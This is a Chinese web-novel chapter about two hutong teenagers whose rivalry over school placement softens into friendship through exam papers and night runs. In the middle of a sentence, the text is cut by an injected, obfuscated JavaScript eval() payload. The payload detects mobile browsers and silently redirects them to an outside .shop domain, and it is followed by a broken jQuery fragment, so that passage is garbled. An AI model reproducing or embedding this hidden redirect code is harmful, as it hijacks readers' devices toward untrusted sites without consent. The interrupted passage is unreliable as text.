2012年初雪。
八宝坑唯一的那条死胡同里,少年正杵在屋顶上暗暗骂街。
笤帚被他像拐棍儿似的撑着,脏字变成白雾从嘴里喷出:“靠!我梯子呢!”
就扫个雪的功夫,梯子没了。
池静明站在屋顶边缘,往墙根底下瞅了又瞅,空空如也,只剩两条刚踩出来的脚印,歪歪扭扭地朝胡同口去了。
谁这么缺德?不打声招呼就乱挪人家梯子!
他火上还热着鱼汤呢,这可怎么办啊!池静明无奈地蹲下身,本打算跳下去,可自家屋顶小三米,雪天路滑,他怕崴脚。
索性等一会儿吧,胡同里就这么几户人家,梯子又不是什么值钱东西,不至于偷。谁搬走的,总得还回来吧。
等的耳机里歌曲播了一首又一首,鱼汤的鲜味钻进了鼻子,死胡同那头才传来了脚步声。由远及近,踩在雪上又急又快。
池静明低头一看,熟悉的人影正抱着梯子跑得呼哧带喘。
“杜康!”池静明蹭地站起身来。
“小偷”听见头顶有人喊他,猛地急刹车,抬头一看便僵在了原地:“池、池子!你怎么在上头?”
“你说我怎么在上头!我扫雪呢!”池静明举着笤帚,恨不得当标枪扔下去,“你搬我梯子之前能不能先言语一声!”
被唤作杜康的少年听罢,这才好似意识到自己干了什么好事。他赶紧把梯子往墙根一靠,赔上个笑脸:“那什么……我真不知道你在上头啊!我以为放这儿没人用呢,就……”
“就顺手牵羊?”
“这叫借!我可敲门了,你没在家啊!”
扯下误事的耳机,池静明着急回家关火,背过身就要下房。杜康见状连忙一只手扶着,另一只手往上伸,做出个“请”的姿势:“您小心!对不住,真对不住。”
池静明几步就踩着梯子下了房,尽管穿得臃肿但动作还算轻盈:“你拿梯子干嘛去了,害我等这么久……你家又不漏水……”
池家屋顶是老旧的金属泡沫复合板,雪要是不扫干净,外层就得生锈,夏天家里准成水帘洞。
“我要说,我把球踢房上去了你信吗?”
“啊?什么球?”
“足球啊。”
“别扯淡了……都要中考了你还有心思踢球?”
“这不是报了个足球营,我寻思练练头球,”杜康说着,突然想起什么,从羽绒服兜里掏出一沓折好的纸,“差点儿忘了,这个给你!”
池静明没接:“什么东西?”
“我们三十三中的中考复习卷。”
这哪儿是一份好意,分明是这小子惯用的偷懒技巧:“你的寒假作业吧?”
杜康听罢露出大牙就笑:“反正我也做不完,你成绩好,搁你手里头更有用。”
“你做不完的就给我?”
“嘿!我们三十三的题,外面想买都买不着,你要不要吧?”
池静明犹豫着,这话倒是不假。但这厮从不做亏本的买卖,池静明还算了解他,拿起卷子等着,后面那句话果然跟来了。
“当然了,你要乐意,顺便给我讲讲也行。就等你有空的时候。”
这是一场D市少见的瓢泼粉雪,不糯不湿一吹就散,比那些模糊的儿时记忆还要轻薄。胡同的老路灯不知何时亮了,抬头看去,天空泛起砖红色。
“你那些个家教呢?”池静明就着光看去,纸面上有被雪花打湿的痕迹。
“这个寒假我没请,这不是钱都花足球营里了吗……”杜康挠挠头,“不提这些个,总之我也不能让你白教。开学前你教我功课,我管你吃饭。”
三十三中一直是池静明的目标,所有人都知道。但杜康刚害他冰天雪地里干等一刻钟,没理由帮忙。
见池静明不答应,杜康软磨硬泡起来:“还有还有,池子你想要哪的题我都能找着。我那足球营里可是有海宁区和西朗区的人呢!”
“能这么好?”
杜康以为他要松口,来了劲头:“那是必须的!亏什么也不能亏自个儿的朋友啊。”
“我是问,你那足球训练营有这么好?寒假不复习了也得去踢球?”
“当然好了!想去还得选拔呢!”杜康脸上挂着显摆劲儿,“再说好不好的,改明儿你来瞅瞅不就知道了。”
“没空,”池静明拿着卷子往杜康怀里一塞,再等下去厨房得着火,“自己的作业自己做吧。回见。”
他扛起梯子就往院里走,身后传来杜康的喊声:“哎!你拿着呗!”
“不要。”
“我都带来了!”
“那你再受累拿回去。”
池静明头也没回,咣当一声把家门关上了。
许是被那梯子惹得没了学习的心气儿,他汤都没喝,关了火随手拿起件外套,跑出家门。死胡同里安静极了,路灯下什么都没有,只有风在背后轻轻推他。
于是脚步便向前而去,越来越快、越来越快。
这算是池静明的习惯,每天睡前跑个几公里,他不算距离也不数圈数,就一直跑,跑到累得迈不开步为止。毕竟胡同深处有太多令人留恋的树荫和月色,春夏秋冬编织了一张网,把他拦在万事之外。
隔了几天雪化了,一月底的天还不算大冷,夜里池静明从死胡同再次出发。
跑到公共厕所时他总是先上一趟,不然半路再找耽误时间。正聚精会神时,肩膀被人从后一拍,吓得他手一哆嗦。
“我靠!”
池静明带着怨气扭过头,杜康正站在旁边解裤子。
“真巧,你也解手啊?”
巧个屁,池静明白了他一眼。
“这么晚了你还跑步去啊?”
“就是因为晚才跑。”
“那你得跑到几点啊?”
“没准……”
“那每次跑多远啊?”
“大几公里吧……”
“行,”杜康眼珠子一转,“你先别走!等我会儿!”
池静明顿感不妙:“你干嘛去?”
“等会儿啊!千万别走!”
没过一分钟,杜康又跑回公厕门口。池静明的预感很准,他把棉拖换成了运动鞋,下身睡裤上身薄羽绒服,已然是要当定这“跟屁虫”了。
“走啊,跑步嘛不是,我也跑!”见池静明不动,杜康还拽了拽他的小臂。
“一起?”
“嗯!搭个伴儿!”
这个点钟的八宝坑,轻易是听不见什么声儿的。寒风中大抵只剩下树梢彼此敲打的白噪音。这种氛围下,人难免会有点儿孤单。
池静明不情不愿地迈开步子,他跑得不慢,杜康追着倒不吃力,因为他嘴就一直没停过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733263|209002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“上次那卷子你还要吗?”
“嗯……”
“我又托人找了西朗、朝岭还有海宁区的卷子。”
“嗯……”
“等会儿跑完我给你拿!”
“嗯……”
“哎池子,你就干跑啊,不背个单词、古诗?这一跑就是个把小时,时间不都浪费了?”
池静明的单词卡在兜里都没来得及掏出来,耳边全是杜康的絮叨,他再也忍不住一个冲刺拐进了深不见底的小胡同。
杜康见他猛地跑远,竟然追得更凶了。
“你跑的还挺快!是为了体育中考才加练的吧!要我说这有什么难的,我们踢球场场都得好几公里,拿了球就得冲,丢了球就折返跑,不比你在这寒冬腊月里干练管用多了。”
“……”
“哦也对,你们育民中学别说足球场,操场都是两百米的。那一千米就得跑五圈?人还不得绕晕了!”
“……”
池静明越跑越快。他想起两年多前那场操蛋的电脑派位。
全班第一的他去了全区倒数第一的育民初中,而全班倒数的杜康上了全区第一的三十三中。
凭什么?
他想不明白。疑惑随着年头逐渐变为嫉妒,嫉妒又化作怨恨,怨恨最终从池静明眼中溢出,就成了冷漠。
于是从他们进入初中那天起,池静明就发誓他一定要考上三十三中!
想到这儿,池静明越跑越快,可惜他甩不掉这个问题,也甩不掉身后的人。匀速跑变成了追逐战。往常他得跑一个多小时才累,今天五十来分钟就喘得不行了。
疲惫感最先攻击大脑,但池静明不敢停,直到杜康也累了,终于不再说话,他这才慢下脚步,溜达着往回走。
恰好路过杜康家门口,本以为他就此直接回家,没想到他仍喋喋不休地喊着:“等我啊!我给你拿卷子!”
池静明一听这话,再累都又迈出步子跑远了。站在死胡同路口的路灯下他向天发誓,如果杜康再跟着,他就上脚把他踹回家。
当然这也就是他想想。因为杜康压根儿没追过来。
隔天清晨的天还没彻底大亮,池静明出门去买早点,刚走两步脚下打滑,竟然踩着个塑料袋。正准备骂是谁乱扔垃圾,他提起来一看怔了得有几秒钟。
是一沓卷子。
“哼!”池静明轻笑了一声,拎着不知该怎么办。本以为杜康就是随口一说,没想到他真给了,这回又轮到池静明进退两难。
坐在早点摊就着碗豆腐脑,池静明翻着各区名师的“大作”。它们风格迥异、考点不同,琢磨了没多久他就反应过来了。
“我靠……”
豆腐脑已经凉了。池静明想起那些昂贵的补习班,买来的无非就是这几张纸而已。
既然有人白给,那他干嘛不要?
池静明从兜里掏出手机,点开杜康的QQ头像,只打下四个字。
【周末有空。】
没想到信息居然被秒回了。
【东方足球基地1号场】
【到这儿找我上午的训练到11点半】
【哪天来都行】
【我随时等您大驾光临】
池静明不知怎么心里忽然轻松许多。他低着头止不住笑,捧着那碗冷掉的豆腐脑吃得津津有味。